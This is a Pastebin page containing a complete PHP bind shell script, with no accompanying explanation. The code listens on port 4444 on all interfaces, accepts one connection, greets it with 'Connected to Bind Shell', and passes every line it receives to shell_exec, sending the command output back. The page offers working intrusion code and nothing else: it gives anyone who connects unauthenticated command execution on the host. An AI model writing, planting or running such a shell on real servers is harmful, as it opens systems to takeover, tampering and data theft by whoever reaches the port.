Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- set_time_limit(0);
- $port = 4444;
- $address = '0.0.0.0';
- $sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
- if (!$sock) {
- die("Socket creation failed: " . socket_strerror(socket_last_error()) . "\n");
- }
- $bind = socket_bind($sock, $address, $port);
- if (!$bind) {
- die("Socket bind failed: " . socket_strerror(socket_last_error()) . "\n");
- }
- $listen = socket_listen($sock, 5);
- if (!$listen) {
- die("Socket listen failed: " . socket_strerror(socket_last_error()) . "\n");
- }
- echo "[+] Listening on $address:$port...\n";
- $client = socket_accept($sock);
- if (!$client) {
- die("Socket accept failed: " . socket_strerror(socket_last_error()) . "\n");
- }
- echo "[+] Connection accepted!\n";
- socket_write($client, "Connected to Bind Shell\n> ");
- while (true) {
- $input = socket_read($client, 2048);
- if ($input === false) {
- break;
- }
- $input = trim($input);
- if ($input == 'exit' || $input == 'quit') {
- socket_write($client, "Goodbye!\n");
- break;
- }
- $output = shell_exec($input . " 2>&1");
- if ($output === null || $output === '') {
- $output = "Command executed (no output)\n";
- }
- socket_write($client, $output . "\n> ");
- }
- socket_close($client);
- socket_close($sock);
- echo "[+] Connection closed.\n";
- ?>
Advertisement